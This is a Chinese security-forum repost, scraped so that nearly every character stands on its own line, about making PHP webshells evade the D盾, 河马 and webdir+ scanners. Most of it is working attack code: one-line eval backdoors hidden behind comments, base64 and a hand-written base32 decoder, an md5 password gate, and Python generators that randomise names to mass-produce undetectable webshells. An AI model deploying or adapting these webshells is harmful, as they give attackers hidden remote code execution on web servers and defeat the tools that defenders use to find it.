论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
免杀
[21569] 2021-01-04_利用注释及自定义加密免杀Webshell
文档创建者:
s7ckTeam
浏览次数:
2
最后更新:
2025-01-18
免杀
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-01-04_利用注释及自定义加密免杀Webshell
利
用
注
释
及
自
定
义
加
密
免
杀
W
e
b
s
h
e
l
l
转
自
N
o
n
e
安
全
团
队
L
e
m
o
n
S
e
c
2
0
2
1
-
0
1
-
0
4
-
0
x
0
0
:
简
介
:
简
介
-
此
篇
只
讨
论
p
h
p
,
其
实
原
理
是
相
同
的
,
本
文
的
思
路
依
然
适
用
于
其
他
语
言
由
于
p
h
p
7
.
1
以
后
a
s
s
e
r
t
不
能
拆
分
了
,
所
以
此
篇
不
使
用
a
s
s
e
r
t
函
数
作
为
核
心
,
使
用
适
用
性
更
广
的
e
v
a
l
。
免
杀
顺
序
依
次
为
D
盾
河
马
w
e
b
d
i
r
+
0
x
0
1
:
探
究
免
杀
:
探
究
免
杀
免
杀
免
杀
D
盾
盾
首
先
我
们
需
要
了
解
免
杀
的
原
理
,
免
杀
其
实
就
是
绕
过
杀
软
的
规
则
,
而
规
则
对
我
们
来
说
是
不
透
明
的
,
但
是
可
以
根
据
f
u
z
z
探
知
个
大
概
。
首
先
请
出
我
们
的
一
句
话
木
马
:
<
?
p
h
p
@
e
v
a
l
(
$
_
P
O
S
T
(
'
a
'
)
)
;
?
>
无
论
如
何
混
淆
w
e
b
s
h
e
l
l
,
我
们
期
望
最
终
得
到
的
逻
辑
依
然
是
这
条
代
码
,
所
以
答
案
知
道
了
,
想
办
法
混
淆
就
行
了
。
经
过
对
D
盾
的
探
测
,
可
以
知
道
,
它
对
函
数
的
检
测
其
实
是
比
较
粗
糙
的
,
比
如
我
们
构
造
一
个
函
数
,
让
其
返
回
值
拼
接
为
e
v
a
l
(
$
_
P
O
S
T
[
'
a
'
]
)
<
?
p
h
p
f
u
n
c
t
i
o
n
x
(
)
{
r
e
t
u
r
n
$
_
P
O
S
T
[
'
a
'
]
;
}
e
v
a
l
(
x
(
)
)
;
?
>
D
盾
扫
一
下
被
杀
了
,
显
然
D
盾
并
没
有
给
出
我
们
为
什
么
这
个
会
被
杀
,
只
说
是
已
知
后
门
,
这
里
我
们
测
试
一
下
到
底
是
什
么
东
西
被
规
则
杀
掉
了
。
首
先
,
无
论
如
何
更
改
函
数
名
,
都
会
被
杀
掉
,
所
以
和
函
数
名
没
关
系
,
然
后
就
是
e
v
a
l
内
的
参
数
了
,
测
试
后
发
现
,
只
要
拼
接
成
e
v
a
l
(
$
_
P
O
S
T
[
'
a
'
]
)
就
会
被
杀
,
因
此
我
们
避
免
语
句
直
接
拼
接
为
这
样
即
可
。
如
何
避
免
直
接
拼
接
呢
当
然
是
往
中
间
加
料
了
加
一
些
既
不
会
破
坏
语
法
又
能
起
到
隔
离
作
用
的
东
西
,
什
么
东
西
可
以
做
到
这
样
呢
?
当
然
就
是
注
释
了
比
如
这
样
的
:
<
?
p
h
p
f
u
n
c
t
i
o
n
x
(
)
{
r
e
t
u
r
n
"
/
*
s
a
s
a
s
2
3
1
2
3
*
/
"
.
$
_
P
O
S
T
[
'
a
'
]
.
"
/
*
s
d
f
w
3
1
2
3
*
/
"
;
}
e
v
a
l
(
x
(
)
)
;
?
>
这
里
用
两
段
注
释
在
"
e
v
a
l
(
"
与
"
$
_
P
O
S
T
"
之
间
起
到
了
隔
离
的
作
用
,
因
此
绕
过
了
直
接
拼
接
这
个
规
则
,
D
盾
继
续
杀
一
下
已
经
免
杀
成
功
,
再
看
一
下
能
否
使
用
既
然
如
此
,
我
们
的
核
心
绕
过
思
路
就
是
利
用
注
释
了
,
为
了
去
除
特
征
,
必
不
可
少
的
就
是
随
机
性
了
使
用
函
数
返
回
值
与
e
v
a
l
拼
接
只
是
权
宜
之
计
,
毕
竟
也
是
一
条
规
则
就
能
够
被
干
掉
的
。
所
以
我
们
这
里
使
用
类
和
构
造
函
数
来
替
代
主
动
调
用
函
数
,
<
?
p
h
p
c
l
a
s
s
x
{
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
@
e
v
a
l
(
"
/
*
s
a
s
a
s
2
3
1
2
3
*
/
"
.
$
_
P
O
S
T
[
'
a
'
]
.
"
/
*
s
d
f
w
3
1
2
3
*
/
"
)
;
}
}
n
e
w
x
(
)
;
?
>
改
到
这
里
,
我
不
禁
想
如
果
D
盾
发
狠
把
"
.
$
_
P
O
S
T
[
'
a
'
]
.
"
当
独
立
规
则
,
那
岂
不
是
也
歇
菜
,
所
以
,
我
决
定
使
用
b
a
s
e
6
4
编
码
将
"
$
_
P
O
S
T
[
'
a
'
]
"
转
化
一
下
<
?
p
h
p
c
l
a
s
s
x
{
p
u
b
l
i
c
$
p
a
y
l
o
a
d
=
n
u
l
l
;
p
u
b
l
i
c
$
d
e
c
o
d
e
_
p
a
y
l
o
a
d
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
t
h
i
s
-
>
p
a
y
l
o
a
d
=
'
Z
X
Z
h
b
C
g
k
X
1
B
P
U
1
R
b
Y
V
0
p
O
w
=
=
'
;
$
t
h
i
s
-
>
d
e
c
o
d
e
_
p
a
y
l
o
a
d
=
@
b
a
s
e
6
4
_
d
e
c
o
d
e
(
$
t
h
i
s
-
>
p
a
y
l
o
a
d
)
;
@
e
v
a
l
(
"
/
*
s
a
s
a
s
2
3
1
2
3
*
/
"
.
$
t
h
i
s
-
>
d
e
c
o
d
e
_
p
a
y
l
o
a
d
.
"
/
*
s
d
f
w
3
1
2
3
*
/
"
)
;
}
}
n
e
w
x
(
)
;
?
>
到
现
在
为
止
,
模
板
确
认
后
面
就
是
写
轮
子
了
,
至
于
轮
子
原
理
也
很
简
单
,
就
是
将
可
以
修
改
特
征
的
参
数
名
使
用
随
机
数
填
充
,
比
如
类
名
、
p
u
b
l
i
c
变
量
名
、
用
于
混
淆
的
注
释
字
符
等
。
代
码
如
下
:
i
m
p
o
r
t
r
a
n
d
o
m
#
a
u
t
h
o
r
:
p
u
r
e
q
h
#
g
i
t
h
u
b
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
p
u
r
e
q
h
/
w
e
b
s
h
e
l
l
s
h
e
l
l
=
'
'
'
<
?
p
h
p
c
l
a
s
s
{
0
}
{
3
}
p
u
b
l
i
c
$
{
1
}
=
n
u
l
l
;
p
u
b
l
i
c
$
{
2
}
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
3
}
$
t
h
i
s
-
>
{
1
}
=
'
Z
X
Z
h
b
C
g
k
X
1
B
P
U
1
R
b
Y
V
0
p
O
w
=
=
'
;
$
t
h
i
s
-
>
{
2
}
=
@
b
a
s
e
6
4
_
d
e
c
o
d
e
(
$
t
h
i
s
-
>
{
1
}
)
;
@
e
v
a
l
(
{
5
}
.
$
t
h
i
s
-
>
{
2
}
.
{
5
}
)
;
{
4
}
{
4
}
n
e
w
{
0
}
(
)
;
?
>
'
'
'
d
e
f
r
a
n
d
o
m
_
k
e
y
s
(
l
e
n
)
:
s
t
r
=
'
`
~
-
=
!
@
#
$
%
^
&
_
+
?
<
>
|
:
[
]
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
'
r
e
t
u
r
n
'
'
.
j
o
i
n
(
r
a
n
d
o
m
.
s
a
m
p
l
e
(
s
t
r
,
l
e
n
)
)
d
e
f
r
a
n
d
o
m
_
n
a
m
e
(
l
e
n
)
:
s
t
r
=
'
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
'
r
e
t
u
r
n
'
'
.
j
o
i
n
(
r
a
n
d
o
m
.
s
a
m
p
l
e
(
s
t
r
,
l
e
n
)
)
d
e
f
b
u
i
l
d
_
w
e
b
s
h
e
l
l
(
)
:
c
l
a
s
s
N
a
m
e
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
p
a
r
a
m
e
t
e
r
1
=
r
a
n
d
o
m
_
n
a
m
e
(
5
)
p
a
r
a
m
e
t
e
r
2
=
r
a
n
d
o
m
_
n
a
m
e
(
6
)
l
e
f
=
'
'
'
{
'
'
'
r
i
g
=
'
'
'
}
'
'
'
d
i
s
r
u
p
t
=
"
"
/
*
"
+
r
a
n
d
o
m
_
k
e
y
s
(
7
)
+
"
*
/
"
"
s
h
e
l
l
c
=
s
h
e
l
l
.
f
o
r
m
a
t
(
c
l
a
s
s
N
a
m
e
,
p
a
r
a
m
e
t
e
r
1
,
p
a
r
a
m
e
t
e
r
2
,
l
e
f
,
r
i
g
,
d
i
s
r
u
p
t
)
r
e
t
u
r
n
s
h
e
l
l
c
i
f
_
_
n
a
m
e
_
_
=
=
'
_
_
m
a
i
n
_
_
'
:
p
r
i
n
t
(
b
u
i
l
d
_
w
e
b
s
h
e
l
l
(
)
)
免
杀
河
马
免
杀
河
马
首
先
我
们
拿
出
之
前
的
样
本
:
<
?
p
h
p
c
l
a
s
s
Y
H
U
V
{
p
u
b
l
i
c
$
B
S
F
R
M
=
n
u
l
l
;
p
u
b
l
i
c
$
Y
V
M
Q
F
W
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
t
h
i
s
-
>
B
S
F
R
M
=
'
Z
X
Z
h
b
C
g
k
X
1
B
P
U
1
R
b
Y
V
0
p
O
w
=
=
'
;
$
t
h
i
s
-
>
Y
V
M
Q
F
W
=
@
b
a
s
e
6
4
_
d
e
c
o
d
e
(
$
t
h
i
s
-
>
B
S
F
R
M
)
;
@
e
v
a
l
(
"
/
*
r
E
g
V
_
C
d
*
/
"
.
$
t
h
i
s
-
>
Y
V
M
Q
F
W
.
"
/
*
r
E
g
V
_
C
d
*
/
"
)
;
}
}
n
e
w
Y
H
U
V
(
)
;
?
>
直
接
拿
去
河
马
查
杀
一
下
,
它
很
可
能
通
过
拼
接
得
到
了
"
e
v
a
l
(
$
_
P
O
S
T
[
x
x
x
]
)
;
"
,
所
以
认
定
为
木
马
,
那
我
加
一
层
认
证
如
何
<
?
p
h
p
c
l
a
s
s
B
T
A
G
{
p
u
b
l
i
c
$
Q
O
M
Y
W
=
n
u
l
l
;
p
u
b
l
i
c
$
X
G
T
C
P
L
=
n
u
l
l
;
p
u
b
l
i
c
$
Y
I
O
X
A
L
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
i
f
(
m
d
5
(
$
_
G
E
T
[
"
p
a
s
s
"
]
)
=
=
"
d
f
2
4
b
f
d
1
3
2
5
f
8
2
b
a
5
f
d
3
d
3
b
e
2
4
5
0
0
9
6
e
"
)
{
$
t
h
i
s
-
>
Q
O
M
Y
W
=
'
Z
X
Z
h
b
C
g
k
X
1
B
P
U
'
;
$
t
h
i
s
-
>
Y
I
O
X
A
L
=
'
1
R
b
Y
V
0
p
O
w
=
=
'
;
$
t
h
i
s
-
>
X
G
T
C
P
L
=
@
b
a
s
e
6
4
_
d
e
c
o
d
e
(
$
t
h
i
s
-
>
Q
O
M
Y
W
.
$
t
h
i
s
-
>
Y
I
O
X
A
L
)
;
@
e
v
a
l
(
"
/
*
#
`
|
W
$
~
Q
*
/
"
.
$
t
h
i
s
-
>
X
G
T
C
P
L
.
"
/
*
#
`
|
W
$
~
Q
*
/
"
)
;
}
}
}
n
e
w
B
T
A
G
(
)
;
?
>
这
个
我
是
真
没
想
到
.
.
.
免
杀
免
杀
w
e
b
d
i
r
+
官
方
说
它
会
拿
沙
盒
跑
我
们
拿
绕
过
河
马
的
马
跑
一
下
,
这
里
的
检
测
速
度
之
所
以
比
较
慢
就
是
因
为
它
在
跑
沙
盒
,
这
种
方
式
确
实
比
传
统
的
查
杀
工
具
难
搞
很
多
,
但
是
它
并
不
完
美
。
由
于
e
v
a
l
依
然
无
法
动
摇
,
所
以
我
依
旧
从
"
$
_
P
O
S
T
[
'
a
'
]
"
下
手
,
首
先
这
串
字
符
编
码
后
是
过
不
去
w
e
b
d
i
r
+
的
,
但
是
不
编
码
也
过
不
去
,
我
猜
测
可
能
是
沙
盒
在
模
拟
运
行
的
时
候
拼
接
出
了
e
v
a
l
(
$
_
P
O
S
T
[
'
a
'
]
)
,
导
致
被
杀
,
那
我
使
用
m
d
5
做
密
钥
它
总
跑
不
出
来
吧
。
修
改
代
码
如
下
:
<
?
p
h
p
c
l
a
s
s
Y
H
U
V
{
p
u
b
l
i
c
$
B
S
F
R
M
=
n
u
l
l
;
p
u
b
l
i
c
$
Y
V
M
Q
F
W
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
i
f
(
m
d
5
(
$
_
G
E
T
[
"
p
a
s
s
"
]
)
=
=
"
d
f
2
4
b
f
d
1
3
2
5
f
8
2
b
a
5
f
d
3
d
3
b
e
2
4
5
0
0
9
6
e
"
)
{
$
t
h
i
s
-
>
B
S
F
R
M
=
$
_
P
O
S
T
[
'
a
'
]
;
@
e
v
a
l
(
"
/
*
r
E
g
V
_
C
d
*
/
"
.
$
t
h
i
s
-
>
B
S
F
R
M
.
"
/
*
r
E
g
V
_
C
d
*
/
"
)
;
}
}
}
n
e
w
Y
H
U
V
(
)
;
?
>
还
是
被
杀
了
,
我
反
而
很
高
兴
,
那
这
也
说
明
一
个
问
题
,
你
并
没
有
顺
利
执
行
过
我
的
马
,
那
说
明
我
e
v
a
l
(
)
里
的
东
西
一
直
都
是
安
全
的
,
那
么
不
安
全
的
肯
定
就
是
"
$
_
P
O
S
T
[
'
a
'
]
"
了
,
这
个
怎
么
解
决
呢
?
经
过
大
量
测
试
我
发
现
了
一
个
事
情
b
a
s
e
6
4
不
行
了
b
a
s
e
6
4
不
行
了
怎
么
办
?
我
直
接
用
b
a
s
e
3
2
,
p
h
p
没
有
自
带
的
b
a
s
e
3
2
?
那
就
自
己
写
f
u
n
c
t
i
o
n
b
a
s
e
3
2
_
e
n
c
o
d
e
(
$
i
n
p
u
t
)
{
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
=
'
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
2
3
4
5
6
7
'
;
$
o
u
t
p
u
t
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
i
n
p
u
t
)
;
$
i
<
$
j
;
$
i
+
+
)
{
$
v
<
<
=
8
;
$
v
+
=
o
r
d
(
$
i
n
p
u
t
[
$
i
]
)
;
$
v
b
i
t
s
+
=
8
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
5
)
{
$
v
b
i
t
s
-
=
5
;
$
o
u
t
p
u
t
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
>
>
$
v
b
i
t
s
]
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
}
}
i
f
(
$
v
b
i
t
s
>
0
)
{
$
v
<
<
=
(
5
-
$
v
b
i
t
s
)
;
$
o
u
t
p
u
t
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
]
;
}
r
e
t
u
r
n
$
o
u
t
p
u
t
;
}
f
u
n
c
t
i
o
n
b
a
s
e
3
2
_
d
e
c
o
d
e
(
$
i
n
p
u
t
)
{
$
o
u
t
p
u
t
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
i
n
p
u
t
)
;
$
i
<
$
j
;
$
i
+
+
)
{
$
v
<
<
=
5
;
i
f
(
$
i
n
p
u
t
[
$
i
]
>
=
'
a
'
&
&
$
i
n
p
u
t
[
$
i
]
<
=
'
z
'
)
{
$
v
+
=
(
o
r
d
(
$
i
n
p
u
t
[
$
i
]
)
-
9
7
)
;
}
e
l
s
e
i
f
(
$
i
n
p
u
t
[
$
i
]
>
=
'
2
'
&
&
$
i
n
p
u
t
[
$
i
]
<
=
'
7
'
)
{
$
v
+
=
(
2
4
+
$
i
n
p
u
t
[
$
i
]
)
;
}
e
l
s
e
{
e
x
i
t
(
1
)
;
}
$
v
b
i
t
s
+
=
5
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
8
)
{
$
v
b
i
t
s
-
=
8
;
$
o
u
t
p
u
t
.
=
c
h
r
(
$
v
>
>
$
v
b
i
t
s
)
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
}
}
r
e
t
u
r
n
$
o
u
t
p
u
t
;
}
s
h
e
l
l
如
下
,
直
接
使
用
b
a
s
e
3
2
处
理
"
e
v
a
l
(
$
_
P
O
S
T
[
z
e
r
o
]
)
;
"
<
?
p
h
p
c
l
a
s
s
Z
Q
I
H
{
p
u
b
l
i
c
$
a
=
n
u
l
l
;
p
u
b
l
i
c
$
b
=
n
u
l
l
;
p
u
b
l
i
c
$
c
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
i
f
(
m
d
5
(
$
_
G
E
T
[
"
p
a
s
s
"
]
)
=
=
"
d
f
2
4
b
f
d
1
3
2
5
f
8
2
b
a
5
f
d
3
d
3
b
e
2
4
5
0
0
9
6
e
"
)
{
$
t
h
i
s
-
>
a
=
'
m
v
3
g
c
3
b
i
e
r
p
v
a
t
2
t
k
r
n
x
u
z
l
s
n
5
o
s
s
o
y
'
;
$
t
h
i
s
-
>
L
G
Z
O
J
H
=
@
b
a
s
e
3
2
_
d
e
c
o
d
e
(
$
t
h
i
s
-
>
a
)
;
@
e
v
a
l
/
*
s
o
p
u
p
i
3
2
4
0
-
=
*
/
(
"
/
*
i
S
A
C
[
F
H
*
/
"
.
$
t
h
i
s
-
>
L
G
Z
O
J
H
.
"
/
*
i
S
A
C
[
F
H
*
/
"
)
;
}
}
}
n
e
w
Z
Q
I
H
(
)
;
f
u
n
c
t
i
o
n
b
a
s
e
3
2
_
e
n
c
o
d
e
(
$
i
n
p
u
t
)
{
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
=
'
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
2
3
4
5
6
7
'
;
$
o
u
t
p
u
t
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
i
n
p
u
t
)
;
$
i
<
$
j
;
$
i
+
+
)
{
$
v
<
<
=
8
;
$
v
+
=
o
r
d
(
$
i
n
p
u
t
[
$
i
]
)
;
$
v
b
i
t
s
+
=
8
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
5
)
{
$
v
b
i
t
s
-
=
5
;
$
o
u
t
p
u
t
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
>
>
$
v
b
i
t
s
]
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
}
}
i
f
(
$
v
b
i
t
s
>
0
)
{
$
v
<
<
=
(
5
-
$
v
b
i
t
s
)
;
$
o
u
t
p
u
t
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
]
;
}
r
e
t
u
r
n
$
o
u
t
p
u
t
;
}
f
u
n
c
t
i
o
n
b
a
s
e
3
2
_
d
e
c
o
d
e
(
$
i
n
p
u
t
)
{
$
o
u
t
p
u
t
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
i
n
p
u
t
)
;
$
i
<
$
j
;
$
i
+
+
)
{
$
v
<
<
=
5
;
i
f
(
$
i
n
p
u
t
[
$
i
]
>
=
'
a
'
&
&
$
i
n
p
u
t
[
$
i
]
<
=
'
z
'
)
{
$
v
+
=
(
o
r
d
(
$
i
n
p
u
t
[
$
i
]
)
-
9
7
)
;
}
e
l
s
e
i
f
(
$
i
n
p
u
t
[
$
i
]
>
=
'
2
'
&
&
$
i
n
p
u
t
[
$
i
]
<
=
'
7
'
)
{
$
v
+
=
(
2
4
+
$
i
n
p
u
t
[
$
i
]
)
;
}
e
l
s
e
{
e
x
i
t
(
1
)
;
}
$
v
b
i
t
s
+
=
5
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
8
)
{
$
v
b
i
t
s
-
=
8
;
$
o
u
t
p
u
t
.
=
c
h
r
(
$
v
>
>
$
v
b
i
t
s
)
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
}
}
r
e
t
u
r
n
$
o
u
t
p
u
t
;
}
?
>
继
续
查
杀
:
能
否
运
行
:
至
此
,
我
们
似
乎
找
到
了
盲
点
,
以
后
直
接
自
己
写
加
密
完
事
了
。
可
惜
一
句
话
木
马
也
被
写
成
一
段
话
木
马
了
。
。
。
不
过
在
渗
透
测
试
过
程
中
完
全
可
以
将
其
拆
分
为
多
个
文
件
互
相
调
用
。
0
x
0
2
:
批
量
代
码
:
批
量
代
码
同
样
为
了
减
少
特
征
代
码
如
下
i
m
p
o
r
t
r
a
n
d
o
m
#
a
u
t
h
o
r
:
p
u
r
e
q
h
#
g
i
t
h
u
b
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
p
u
r
e
q
h
/
w
e
b
s
h
e
l
l
#
u
s
e
:
G
E
T
:
h
t
t
p
:
/
/
u
r
l
?
p
a
s
s
=
p
u
r
e
q
h
P
O
S
T
:
z
e
r
o
s
h
e
l
l
=
'
'
'
<
?
p
h
p
c
l
a
s
s
{
0
}
{
1
}
p
u
b
l
i
c
$
{
2
}
=
n
u
l
l
;
p
u
b
l
i
c
$
{
3
}
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
1
}
i
f
(
m
d
5
(
$
_
G
E
T
[
"
p
a
s
s
"
]
)
=
=
"
d
f
2
4
b
f
d
1
3
2
5
f
8
2
b
a
5
f
d
3
d
3
b
e
2
4
5
0
0
9
6
e
"
)
{
1
}
$
t
h
i
s
-
>
{
2
}
=
'
m
v
3
g
c
3
b
i
e
r
p
v
a
t
2
t
k
r
n
x
u
z
l
s
n
5
o
s
s
o
y
'
;
$
t
h
i
s
-
>
{
3
}
=
@
{
9
}
(
$
t
h
i
s
-
>
{
2
}
)
;
@
e
v
a
l
(
{
5
}
.
$
t
h
i
s
-
>
{
3
}
.
{
5
}
)
;
{
4
}
{
4
}
{
4
}
n
e
w
{
0
}
(
)
;
n
e
w
{
0
}
(
)
;
f
u
n
c
t
i
o
n
{
6
}
(
$
{
7
}
)
{
1
}
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
=
'
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
2
3
4
5
6
7
'
;
$
{
8
}
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
{
7
}
)
;
$
i
<
$
j
;
$
i
+
+
)
{
1
}
$
v
<
<
=
8
;
$
v
+
=
o
r
d
(
$
{
7
}
[
$
i
]
)
;
$
v
b
i
t
s
+
=
8
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
5
)
{
1
}
$
v
b
i
t
s
-
=
5
;
$
{
8
}
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
>
>
$
v
b
i
t
s
]
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
{
4
}
{
4
}
i
f
(
$
v
b
i
t
s
>
0
)
{
1
}
$
v
<
<
=
(
5
-
$
v
b
i
t
s
)
;
$
{
8
}
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
]
;
{
4
}
r
e
t
u
r
n
$
{
8
}
;
{
4
}
f
u
n
c
t
i
o
n
{
9
}
(
$
{
7
}
)
{
1
}
$
{
8
}
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
{
7
}
)
;
$
i
<
$
j
;
$
i
+
+
)
{
1
}
$
v
<
<
=
5
;
i
f
(
$
{
7
}
[
$
i
]
>
=
'
a
'
&
&
$
{
7
}
[
$
i
]
<
=
'
z
'
)
{
1
}
$
v
+
=
(
o
r
d
(
$
{
7
}
[
$
i
]
)
-
9
7
)
;
{
4
}
e
l
s
e
i
f
(
$
{
7
}
[
$
i
]
>
=
'
2
'
&
&
$
{
7
}
[
$
i
]
<
=
'
7
'
)
{
1
}
$
v
+
=
(
2
4
+
$
{
7
}
[
$
i
]
)
;
{
4
}
e
l
s
e
{
1
}
e
x
i
t
(
1
)
;
{
4
}
$
v
b
i
t
s
+
=
5
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
8
)
{
1
}
$
v
b
i
t
s
-
=
8
;
$
{
8
}
.
=
c
h
r
(
$
v
>
>
$
v
b
i
t
s
)
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
{
4
}
{
4
}
r
e
t
u
r
n
$
{
8
}
;
{
4
}
?
>
'
'
'
d
e
f
r
a
n
d
o
m
_
k
e
y
s
(
l
e
n
)
:
s
t
r
=
'
`
~
-
=
!
@
#
$
%
^
&
_
+
?
<
>
|
:
[
]
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
'
r
e
t
u
r
n
'
'
.
j
o
i
n
(
r
a
n
d
o
m
.
s
a
m
p
l
e
(
s
t
r
,
l
e
n
)
)
d
e
f
r
a
n
d
o
m
_
n
a
m
e
(
l
e
n
)
:
s
t
r
=
'
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
'
r
e
t
u
r
n
'
'
.
j
o
i
n
(
r
a
n
d
o
m
.
s
a
m
p
l
e
(
s
t
r
,
l
e
n
)
)
d
e
f
b
u
i
l
d
_
w
e
b
s
h
e
l
l
(
)
:
c
l
a
s
s
N
a
m
e
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
l
e
f
=
'
'
'
{
'
'
'
p
a
r
a
m
e
t
e
r
1
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
p
a
r
a
m
e
t
e
r
2
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
r
i
g
=
'
'
'
}
'
'
'
d
i
s
r
u
p
t
=
"
"
/
*
"
+
r
a
n
d
o
m
_
k
e
y
s
(
7
)
+
"
*
/
"
"
f
u
n
1
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
f
u
n
1
_
v
u
l
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
f
u
n
1
_
r
e
t
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
f
u
n
2
=
r
a
n
d
o
m
_
n
a
m
e
(
4
)
s
h
e
l
l
c
=
s
h
e
l
l
.
f
o
r
m
a
t
(
c
l
a
s
s
N
a
m
e
,
l
e
f
,
p
a
r
a
m
e
t
e
r
1
,
p
a
r
a
m
e
t
e
r
2
,
r
i
g
,
d
i
s
r
u
p
t
,
f
u
n
1
,
f
u
n
1
_
v
u
l
,
f
u
n
1
_
r
e
t
,
f
u
n
2
)
r
e
t
u
r
n
s
h
e
l
l
c
i
f
_
_
n
a
m
e
_
_
=
=
'
_
_
m
a
i
n
_
_
'
:
p
r
i
n
t
(
b
u
i
l
d
_
w
e
b
s
h
e
l
l
(
)
)
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页